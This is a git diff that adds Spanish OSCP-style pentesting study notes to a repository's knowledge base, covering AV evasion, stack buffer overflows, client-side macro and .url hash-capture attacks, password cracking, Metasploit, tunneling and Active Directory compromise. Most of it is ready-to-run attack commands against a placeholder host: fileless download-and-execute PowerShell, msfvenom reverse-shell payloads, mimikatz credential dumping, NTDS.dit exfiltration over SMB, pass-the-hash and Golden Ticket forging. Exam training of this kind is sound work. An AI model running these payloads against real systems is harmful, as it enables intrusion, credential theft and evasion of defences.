+## PowerShell en memoria (no toca disco)
+```powershell
+IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/rev.ps1')   # fileless
+powershell -ExecutionPolicy Bypass -File evasion.ps1
+powershell -encodedCommand JABjAG8AZABl...    # comando en base64 (UTF-16LE)
+```
+
+## Generar y ofuscar
+```bash
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → msfvenom
+python3 ps_encoder.py -s evasion.ps1        # darkoperator/Invoke-Obfuscation
+./chimera.sh -f evasion.ps1 -l 1,2,3 -o out.ps1   # Chimera: ofusca strings/variables
+```
+
+## Inyección directa (P/Invoke)
+Script PS que reserva memoria con **VirtualAlloc**, copia el shellcode y lanza **CreateThread** → ejecuta sin escribir un .exe al disco (evade el escaneo on-write).
+
+## Otras tools
+- **Shellter** (inyecta en un .exe legítimo), **Veil**, **Nim/C# loaders**.
+- **UPX** para empaquetar y cambiar la firma: `upx -9 rev.exe`.
+
+> Nota OSCP: la evasión de AV está permitida (no es un escáner de vulns prohibido → Reglas de herramientas); rara vez hace falta en el examen, pero alguna máquina la pide.
+
+Relacionado: Client-side attacks · msfvenom · Reverse shell · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md b/nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
new file mode 100644
index 0000000..1aaf100
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md	
@@ -0,0 +1,58 @@
+# Buffer Overflow (stack, 32-bit)
+
+> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
+> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.
+
+## Setup de mona (una vez)
+```
+!mona config -set workingfolder c:\mona\%p
+```
+
+## Los 7 pasos
+```
+[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]
+```
+
+### 1. Fuzzing — encontrar el crash
+Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.
+
+### 2. Offset — posición exacta del EIP
+```bash
+msf-pattern_create -l 3000                 # mándalo como buffer
+msf-pattern_offset -l 3000 -q 39694438     # el valor que quedó en EIP
+# alternativa en mona:
+!mona findmsp -distance 3000               # te da "EIP contains normal pattern ... offset XXXX"
+```
+
+### 3. Controlar EIP — confirmar
+Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.
+
+### 4. Badchars — bytes que corrompen
+```
+!mona bytearray -b "\x00"        # genera \x01..\xff
+# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
+!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
+```
+Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".
+
+### 5. JMP ESP — la dirección de retorno
+```
+!mona jmp -r esp -cpb "\x00\x0a\x0d"     # busca un JMP ESP sin badchars
+# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
+```
+Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).
+
+### 6. Shellcode con msfvenom
+```bash
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
+  -b "\x00\x0a\x0d" -f py -v shellcode
+# Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai
+```
+
+### 7. Exploit final
+```
+buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
+```
+Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.
+
+Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Client-side attacks.md b/nucleo/saber/conocimiento/08 - Avanzado/Client-side attacks.md
new file mode 100644
index 0000000..0ef7788
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Client-side attacks.md	
@@ -0,0 +1,27 @@
+# Client-side attacks
+
+> Atacas a un **usuario** (que abre un documento/enlace), no a un servicio. Fuente: oscp.trastero.org/clientside.
+
+## Macro de Word (VBA)
+```bash
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta   # → msfvenom
+python3 split.py     # parte el payload codificado en trozos de 50 chars para el VBA
+```
+- VBA con `Sub AutoOpen()` y `Sub Document_Open()` que reconstruye y ejecuta el PowerShell.
+- **Guardar como "Documento de Word 97-2003" (.doc)** para que conserve la macro.
+- Verificar: `olevba evil.doc`.
+
+## Acceso directo malicioso (.url / .lnk)
+```ini
+[InternetShortcut]
+URL=file://TU_IP
+IconFile=\\TU_IP\SERVER\%USERNAME%.icon
+IconIndex=1
+```
+- El `IconFile` con ruta **UNC** fuerza al cliente a autenticar contra tu SMB → **capturas su hash NetNTLMv2**.
+```bash
+impacket-smbserver -smb2support SERVER $(pwd)   # o Responder → Herramientas (índice)
+```
+- El hash capturado → Cracking de contraseñas (`hashcat -m 5600`) o relay.
+
+Relacionado: AV evasion · Cracking de contraseñas · Authentication attacks · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Cracking de contraseñas.md b/nucleo/saber/conocimiento/08 - Avanzado/Cracking de contraseñas.md
new file mode 100644
index 0000000..e7fef3a
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Cracking de contraseñas.md	
@@ -0,0 +1,45 @@
+# Cracking de contraseñas
+
+> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.
+
+## Identificar el hash
+```bash
+hashid '$1$...'        # o hash-identifier
+```
+
+## hashcat — los modos que importan
+```
+-m 0      MD5            -m 100   SHA1         -m 1000  NTLM
+-m 1800   sha512crypt ($6$, /etc/shadow)
+-m 5600   NetNTLMv2 (capturado con Responder → Client-side attacks)
+-m 13100  Kerberoast TGS ($krb5tgs$)   → Kerberoasting
+-m 18200  AS-REP ($krb5asrep$)         → AS-REP Roasting
+-m 22000  WPA-PBKDF2     -m 13400  KeePass
+```
+```bash
+hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
+```
+
+## John the Ripper
+```bash
+unshadow /etc/passwd /etc/shadow > unshadowed
+john --format=NT hashes.txt --wordlist=rockyou.txt
+zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john   # extractores
+john --rules --wordlist=rockyou.txt z.hash
+```
+
+## Wordlists a medida
+```bash
+cewl http://IP -m 6 -w custom.txt           # palabras de la propia web
+crunch 8 8 -t @@@@%%%% -o crunch.txt          # patrones
+```
+
+## Online (servicio en vivo)
+```bash
+hydra -L users.txt -P rockyou.txt ssh://IP   # ver Authentication attacks
+medusa -h IP -u admin -P pass.txt -M smbnt
+fcrackzip -u -D -p rockyou.txt secret.zip     # ZIP
+crowbar -b rdp -s IP/32 -u admin -C pass.txt  # RDP
+```
+
+Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Exploits conocidos.md b/nucleo/saber/conocimiento/08 - Avanzado/Exploits conocidos.md
new file mode 100644
index 0000000..69102a0
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Exploits conocidos.md	
@@ -0,0 +1,34 @@
+# Exploits conocidos (CVEs)
+
+> Exploits públicos que aparecen una y otra vez. Localízalos con searchsploit y **léelos antes de lanzarlos**. Fuente: oscp.trastero.org/exploits.
+
+## Linux (privesc local)
+```
+CVE-2021-4034   PwnKit / pkexec (polkit)  → casi universal, sin dependencias
+CVE-2021-3156   Baron Samedit (sudo)
+CVE-2022-0847   Dirty Pipe (kernel ≥5.8)
+CVE-2016-5195   Dirty COW (kernel viejo)
+CVE-2012-0056   Mempodipper
+```
+Comprueba versión: `uname -a`, `sudo --version`, y mira Privesc Linux antes del kernel exploit.
+
+## Windows
+```
+MS17-010        EternalBlue (SMBv1)      → foothold remoto
+PrintNightmare  CVE-2021-1675 / 34527    → privesc/RCE vía spooler
+SpoolFool       CVE-2022-21999           → privesc spooler
+HiveNightmare   CVE-2021-36934 (SeriousSAM) → lee SAM como user
+```
+Potato family (SeImpersonate) → ver Potato attacks.
+
+## Compilar
+```bash
+gcc exploit.c -o exploit                              # Linux
+x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll     # DLL Windows (cross-compile)
+i686-w64-mingw32-gcc evil.c -o evil.exe               # EXE 32-bit
+```
+Para shellcode listo: msfvenom `-f exe` / `-f dll`.
+
+> ⚠️ Hay PoCs falsos/maliciosos. Lee el código antes de ejecutar (searchsploit).
+
+Relacionado: Privesc Windows · Privesc Linux · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md b/nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md
new file mode 100644
index 0000000..c563bfb
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md	
@@ -0,0 +1,45 @@
+# Metasploit
+
+> ⚠️ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit.
+
+## Básico
+```
+msfconsole -q
+search <servicio/cve>
+use exploit/...
+show options ; set RHOSTS IP ; set LHOST TU_IP ; run
+```
+
+## multi/handler (recibir un payload de msfvenom)
+```
+use exploit/multi/handler
+set payload windows/shell_reverse_tcp     # o windows/meterpreter/reverse_tcp
+set LHOST TU_IP ; set LPORT 443 ; run
+```
+
+## Meterpreter (post-explotación)
+```
+getuid          # quién soy
+getsystem       # intento de privesc a SYSTEM
+hashdump        # vuelca hashes SAM  → Cracking de contraseñas / Pass-the-Hash
+ps ; migrate 799   # migrar a otro proceso
+background ; sessions -i 1
+```
+
+## Subir una shell normal a meterpreter
+```
+# Ctrl+Z para mandar la shell a background, luego:
+use post/multi/manage/shell_to_meterpreter
+set SESSION 1 ; run
+sessions -i 2
+```
+
+## Pivoting con Metasploit
+```
+use post/multi/manage/autoroute
+set SESSION 1 ; set SUBNET 192.168.5.0 ; run
+use auxiliary/server/socks_proxy ; run    # + proxychains → Tunneling
+portfwd add -l 3389 -p 3389 -r 192.168.5.10
+```
+
+Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md b/nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md
new file mode 100644
index 0000000..483c77f
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md	
@@ -0,0 +1,45 @@
+# Tunneling y port forwarding
+
+> Reenviar puertos y montar proxies para alcanzar redes internas. Alternativas a Pivoting ligolo-ng. Fuente: oscp.trastero.org/tunneling.
+
+## SSH (el más portable)
+```bash
+ssh -L 8080:127.0.0.1:80 user@pivot       # LOCAL: tu :8080 → servicio interno
+ssh -R 3390:127.0.0.1:3389 user@kali      # REMOTE: expone el RDP del pivot en tu :3390
+ssh -D 1080 user@pivot                     # DYNAMIC: proxy SOCKS en tu :1080
+# luego: proxychains <herramienta>  (configura socks en /etc/proxychains4.conf)
+```
+
+## Chisel (cuando no hay SSH)
+```bash
+# Kali (servidor):
+./chisel server -p 8000 --reverse
+# Víctima (cliente) → SOCKS reverso:
+./chisel client TU_IP:8000 R:socks
+# ahora: proxychains nmap -sT -Pn 192.168.5.10
+```
+
+## socat (redirección simple)
+```bash
+socat TCP-LISTEN:8080,fork TCP:192.168.5.10:80
+```
+
+## Plink (SSH desde Windows)
+```cmd
+plink.exe -R 3390:127.0.0.1:3389 user@TU_IP
+```
+
+## sshuttle (VPN improvisada, lo más cómodo)
+```bash
+sshuttle -r user@pivot 192.168.5.0/24 --dns
+```
+
+## Windows nativo — netsh portproxy
+```cmd
+netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.5.10 connectport=80
+```
+
+## proxychains
+- `proxychains nmap -sT -Pn IP` → usa `-sT` (TCP connect): el SYN scan **no** pasa por el proxy. Ver Nmap NSE.
+
+Relacionado: Pivoting ligolo-ng · Movimiento lateral · Puesto de mando Kali · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md b/nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md
new file mode 100644
index 0000000..9798de1
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md	
@@ -0,0 +1,36 @@
+# msfvenom
+
+> El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit.
+
+## Anatomía
+```bash
+msfvenom -p <payload> LHOST=TU_IP LPORT=443 -f <formato> -o salida [-b badchars] [-e encoder]
+```
+
+## Payloads frecuentes
+```
+windows/shell_reverse_tcp        shell normal (no necesita Metasploit para recibir → nc)
+windows/meterpreter/reverse_tcp  meterpreter (recíbelo con multi/handler)
+linux/x86/shell_reverse_tcp
+windows/x64/shell_reverse_tcp    (x64)
+```
+
+## Formatos (-f) según el caso
+```
+exe      ejecutable Windows          dll   DLL hijacking / Exploits conocidos
+raw      shellcode crudo (B0F)       py    para tu script de Buffer Overflow
+psh / powershell                     hta-psh   Client-side attacks
+aspx / war / jsp                     webshells para upload
+elf      ejecutable Linux
+```
+
+## Ejemplos
+```bash
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → AV evasion
+msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta
+```
+- Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion.
+
+Relacionado: Reverse shell · Metasploit · OSCP MOC
diff --git a/nucleo/saber/conocimiento/OSCP MOC.md b/nucleo/saber/conocimiento/OSCP MOC.md
new file mode 100644
index 0000000..dfb5f77
--- /dev/null
+++ b/nucleo/saber/conocimiento/OSCP MOC.md	
@@ -0,0 +1,57 @@
+# 🗺️ OSCP — Mapa Central (MOC)
+
+> Nota hub del vault. Desde aquí salen todos los caminos.
+> Origen: apuntes propios en `tu carpeta` + material de un laboratorio.
+
+## La espina dorsal
+La Metodología OSCP es lo único que de verdad importa. Todo lo demás cuelga de ella:
+
+```
+Enumeración → vector → foothold (Reverse shell) →
+Privesc Linux / Privesc Windows → loot (Mimikatz) →
+Movimiento lateral / Active Directory → documentar (Reporte OSCP)
+```
+
+## Clusters
+
+### 🧭 Metodología y examen
+- Metodología OSCP · Estructura del examen · Gestión del tiempo
+- Reporte OSCP · Reglas de herramientas
+
+### 🔍 Enumeración
+- Enumeración (índice) · Nmap · Nmap NSE · Puertos olvidados
+- SMB · SNMP · Netcat · RDP
+- Enumeración web · Content discovery · Vhosts y subdominios
+- searchsploit · Trampas de enumeración
+
+### 🌐 Explotación web
+- Hacking web (índice/metodología) · Burp Suite · Burp Repeater e Intruder
+- SQL injection · Command injection · Directory traversal · LFI a RCE
+- File upload bypass · XSS · SSTI · Authentication attacks
+
+### 🐚 Shells y transferencia
+- Puesto de mando Kali · Reverse shell · Estabilizar shell TTY
+- Egress filtering · Transferencia de ficheros
+
+### ⬆️ Escalada de privilegios
+- Privesc Linux · Privesc Windows · PEASS-ng
+- Potato attacks · GTFOBins y LOLBAS
+
+### 🏰 Active Directory
+- Active Directory (índice) · Kerberos · Kerberoasting · AS-REP Roasting
+- Mimikatz · Impacket · BloodHound
+- Pass-the-Hash · DCSync · Golden Ticket · Silver Ticket · secretsdump
+- Movimiento lateral · Pivoting ligolo-ng
+- GPP cpassword · LAPS · ACL abuses
+
+### 🧪 Avanzado / Post-explotación
+- Buffer Overflow · Metasploit · msfvenom
+- Tunneling · Cracking de contraseñas · Exploits conocidos
+- AV evasion · Client-side attacks
+
+### ⌨️ Cheatsheets de shell
+- Operadores Bash · Operadores PowerShell
+- Port scanner PowerShell · Bucles bash sobre IPs
+
+### 📚 Referencia
+- Herramientas (índice) · Recursos públicos · un laboratorio
diff --git a/nucleo/saber/conocimiento/README.md b/nucleo/saber/conocimiento/README.md
new file mode 100644
index 0000000..aba70d5
--- /dev/null
+++ b/nucleo/saber/conocimiento/README.md
@@ -0,0 +1,19 @@
+# Conocimiento
+
+Metodología de pentesting y Linux que **viene con el repo**, para que un clon
+recién hecho ya sepa de estas cosas sin depender de los apuntes privados de
+nadie. `indexa.py` lo indexa junto a las man pages y el glosario.
+
+Son apuntes propios (estilo OSCP) organizados por fase —enumeración, explotación
+web, shells, escalada de privilegios, Active Directory, cheatsheets, avanzado—
+con los comandos que se usan de verdad. Usan marcadores como `TU_IP` en vez de
+direcciones reales; están limpios de datos personales (sin hosts, credenciales,
+rutas ni referencias privadas).
+
+Es la parte del RAG que SÍ se publica: el conocimiento genérico. Los apuntes
+personales del usuario (su `saber.jsonl`, su diario) no se suben —ver
+[../../../PRIVACIDAD.md](../../../PRIVACIDAD.md)—; este pack los complementa, y en
+la máquina del usuario se solapan y el deduplicado de `busca.py` los colapsa.
+
+Añadir o corregir metodología aquí es un buen commit: es Markdown, se indexa
+solo, y mejora a todo el que clone.
diff --git a/nucleo/saber/conocimiento/apuntes-ad-pentest.md b/nucleo/saber/conocimiento/apuntes-ad-pentest.md
new file mode 100644
index 0000000..603e4f0
--- /dev/null
+++ b/nucleo/saber/conocimiento/apuntes-ad-pentest.md
@@ -0,0 +1,353 @@
+# Apuntes Active Directory Pentest
+
+Mimikatz · Impacket · Kerberos · BloodHound · Pivoting
+
+---
+
+## El mapa mental de todo
+
+```
+        ┌─────────────────────────────┐     ┌──────────────────────────────┐
+        │        TU KALI/DEBIAN        │     │       VICTIMA WINDOWS         │
+        │       (la atacante)          │     │     (cliente o servidor)      │
+        ├─────────────────────────────┤     ├──────────────────────────────┤
+        │                              │     │                               │
+        │  ┌─ Impacket ─────────────┐  │     │  ┌─ Procesos a saquear ─┐    │
+        │  │ secretsdump  (hashes) ├──┼─────┼──┤ LSASS (creds en RAM)  │    │
+        │  │ psexec       (shell)  ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│    │
+        │  │ GetUserSPNs  (kerb)   ├──┼─────┼──┤ SAM/SYSTEM           │    │
+        │  │ getTGT       (kerb)   │  │     │  └──────────────────────┘    │
+        │  └────────────────────────┘  │     │                               │
+        │                              │     │  ┌─ Lo que SUBES tú ────┐    │
+        │  ┌─ BloodHound ───────────┐  │     │  │ mimikatz.exe         │    │
+        │  │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS              │    │
+        │  │ neo4j + GUI (visualiza)│  │     │  │ Invoke-ConPtyShell.ps1│   │
+        │  └────────────────────────┘  │     │  │ Invoke-PowerShellTcp │    │
+        │                              │     │  └──────────────────────┘    │
+        │  ┌─ Listener / loot ──────┐  │     │                               │
+        │  │ nc -lvnp 4444 (shell)  │◄─┼─TCP─┼─── reverse shell             │
+        │  │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools       │
+        │  │ smbserver.py (loot)    │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc.  │
+        │  └────────────────────────┘  │     │                               │
+        └─────────────────────────────┘     └──────────────────────────────┘
+```
+
+**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.
+
+---
+
+## Quién hace qué
+
+### Mimikatz
+
+**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.
+
+```
+   tú (Kali)                   víctima Windows
+   ─────────                   ────────────────
+        │
+        │  1. Levantas HTTP en tu carpeta de herramientas
+        │
+        │             ┌────────────┐
+        │  2. desde   │ PowerShell │  iwr http://kali/mimikatz.exe -o m.exe
+        │  reverse    │   shell    │
+        │  shell ──►  └─────┬──────┘
+        │                   │
+        │                   ▼
+        │             ┌────────────────┐
+        │             │  m.exe         │  privilege::debug
+        │             │                │  sekurlsa::logonpasswords
+        │  4. ves ◄───┤  vuelca creds  │  lsadump::sam
+        │  hashes     │  del LSASS    │  lsadump::dcsync /user:Administrator
+        │             └────────────────┘
+```
+
+### Impacket
+
+**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.
+
+Los más útiles:
+
+```
+impacket-psexec        → te da shell en la víctima si tienes creds (estilo PsExec)
+impacket-wmiexec       → ejecutas comandos sin tocar disco
+impacket-smbexec       → otra forma de ejecución remota
+impacket-secretsdump   → vuelca todo el NTDS.dit y SAM de un DC, en remoto
+impacket-GetUserSPNs   → ataque KERBEROASTING (saca TGS de cuentas de servicio)
+impacket-GetNPUsers    → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
+impacket-getTGT        → forja/pide un TGT con cred conocida
+impacket-getST         → pide un service ticket
+impacket-smbserver     → monta un share SMB falso (para exfiltrar a Kali)
+impacket-ntlmrelayx    → relay attacks NTLM
+```
+
+### Kerberos en 30 segundos
+
+```
+         ┌──────────┐                ┌────────────────┐
+         │ Usuario  │  ¿Pwd?         │ KDC (Domain    │
+         │ (cliente)│ ─────────────► │  Controller)   │
+         └────┬─────┘                └────┬───────────┘
+              │                           │
+              │  ◄──── TGT (te identifica)│
+              │                           │
+              │  TGT + "quiero \\fileSrv" │
+              ├──────────────────────────►│
+              │                           │
+              │  ◄──── TGS (para fileSrv)│
+              │                           │
+              │           ┌───────────┐   │
+              └──────────►│ fileServer│ "este TGS prueba que soy yo"
+                          └───────────┘
+```
+
+- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
+- **TGS** = "ticket de un día" para hablar con un servicio concreto.
+- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.
+
+---
+
+## La cadena de ataque "OSCP típica" con esto
+
+```
+  ┌─────────────────────────────────────────────────────────────────┐
+  │                                                                  │
+  │  1) RCE inicial en una web ───────► reverse shell PowerShell    │
+  │     (sqli, file upload, etc.)        en máquina USUARIO1        │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  2) WinPEAS desde tu carpeta ──► subes y ejecutas                    │
+  │     enumera permisos, AlwaysInstallElevated, etc.               │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  3) Local privesc ──► SYSTEM en USUARIO1                        │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  4) Mimikatz ──► sekurlsa::logonpasswords                       │
+  │     → hash NTLM de un usuario de dominio (DOMAIN\juan)          │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  5) BloodHound ──► "¿juan es admin en algún sitio?"             │
+  │     "¿juan puede llegar a Domain Admin por algún camino?"       │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  6) Impacket-psexec con el hash de juan ──► shell en SERVER2    │
+  │     impacket-psexec -hashes :HASH 'juan@server2.local'          │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  7) Si server2 = Domain Controller:                             │
+  │     impacket-secretsdump ──► vuelcas TODA la BD del dominio     │
+  │     (NTDS.dit, krbtgt, etc.)                                    │
+  │                                                                  │
+  │              │                                                   │
+  │              ▼                                                   │
+  │                                                                  │
+  │  8) Con hash de krbtgt:                                         │
+  │     impacket-ticketer ──► Golden Ticket → eres dios            │
+  │                                                                  │
+  └─────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Cómo se monta cada pieza en la práctica
+
+### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)
+
+```
+┌─ Terminal 1 (listener de shells) ─────────────────────────┐
+│ stty raw -echo; (stty size; cat) | nc -lvnp 4444          │
+└────────────────────────────────────────────────────────────┘
+
+┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
+│ cd tu carpeta                                     │
+│ python3 -m http.server 80                                 │
+└────────────────────────────────────────────────────────────┘
+
+┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
+│ mkdir /tmp/loot && cd /tmp/loot                           │
+│ impacket-smbserver loot . -smb2support                    │
+└────────────────────────────────────────────────────────────┘
+
+┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
+│ $                                                          │
+└────────────────────────────────────────────────────────────┘
+```
+
+### B) Recibes una reverse shell
+
+Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:
+
+```powershell
+IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
+```
+
+Tu Terminal 1 te da una shell **interactiva** Windows.
+
+### C) Subes y ejecutas Mimikatz desde esa shell
+
+```powershell
+# Dentro de la shell, en la víctima:
+iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
+C:\Windows\Temp\m.exe
+```
+
+Y dentro de mimikatz:
+
+```
+privilege::debug
+sekurlsa::logonpasswords
+```
+
+Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).
+
+### D) Exfiltras un fichero grande (NTDS.dit, etc.)
+
+Desde la víctima:
+
+```cmd
+copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
+```
+
+Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.
+
+### E) Lateral movement con Impacket (sin reverse shell nueva)
+
+Una vez tienes hash de un user privilegiado:
+
+```bash
+impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
+```
+
+Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.
+
+### F) Pivoting (entrar en una red interna) con ligolo-ng
+
+```
+  TU KALI                    USUARIO1                   RED INTERNA
+  10.10.10.5                10.10.10.50                 192.168.5.0/24
+     │                          │                            │
+     │       ligolo proxy       │                            │
+     │   ───── tunel ─────►     │                            │
+     │                          │                            │
+     │                     ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
+     │                          │
+     │  añades ruta:            │
+     │  ip route add            │
+     │   192.168.5.0/24 dev ligolo
+     │
+     │  ahora desde Kali:
+     │  impacket-psexec admin@192.168.5.10  ◄── el tráfico va por el túnel
+     ▼
+```
+
+---
+
+## BloodHound — qué hace y cómo lo montas
+
+### Qué hace
+
+Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:
+
+> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"
+
+Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.
+
+```
+         ┌─────────┐   MemberOf   ┌──────────────┐
+         │  juan   ├─────────────►│ HelpDesk     │
+         └─────────┘              └──────┬───────┘
+                                          │ AdminTo
+                                          ▼
+                                   ┌──────────────┐
+                                   │ workstation42│
+                                   └──────┬───────┘
+                                          │ HasSession (admin con sesión activa aquí)
+                                          ▼
+                                   ┌──────────────┐
+                                   │ ana          │
+                                   └──────┬───────┘
+                                          │ MemberOf
+                                          ▼
+                                   ┌──────────────┐
+                                   │ Domain Admins│  ← jackpot
+                                   └──────────────┘
+```
+
+### Componentes
+
+```
+   ┌──────────────────┐         ┌─────────────────┐         ┌──────────────┐
+   │ SharpHound (.exe)│  o      │ bloodhound-python│  ────►  │  JSON files  │
+   │ corre en víctima │         │ corre en Kali    │         │  con datos AD│
+   └──────────────────┘         └─────────────────┘         └──────┬───────┘
+                                                                    │
+                                                                    ▼
+                                                          ┌──────────────────┐
+                                                          │ BloodHound GUI   │
+                                                          │ (en tu Kali)     │
+                                                          │   +              │
+                                                          │ Neo4j (base BD)  │
+                                                          └──────────────────┘
+```
+
+- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
+- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
+- **Neo4j** = la base de datos del grafo (la GUI la necesita).
+
+### Instalación en Debian
+
+```bash
+sudo apt install -y bloodhound bloodhound.py
+```
+
+```bash
+# Neo4j (la BD que necesita BloodHound)
+sudo apt install -y neo4j
+sudo systemctl start neo4j
+sudo neo4j-admin set-initial-password 'BloodHound1!'
+```
+
+### Uso (workflow)
+
+```bash
+# 1) Recolectar datos desde Kali (necesitas creds válidas)
+bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
+# → genera varios .json en el directorio actual
+
+# 2) Lanzar la GUI
+bloodhound
+# Login: neo4j / BloodHound1!
+# Arrastras los .json a la ventana → quedan cargados
+
+# 3) Queries útiles ya integradas:
+#    - Find Shortest Paths to Domain Admins
+#    - Find Kerberoastable Accounts
+#    - Find AS-REP Roastable Users
+```
+
+---
+
+## Resumen TL;DR
+
+| Pregunta | Respuesta |
+|---|---|
+| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
+| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
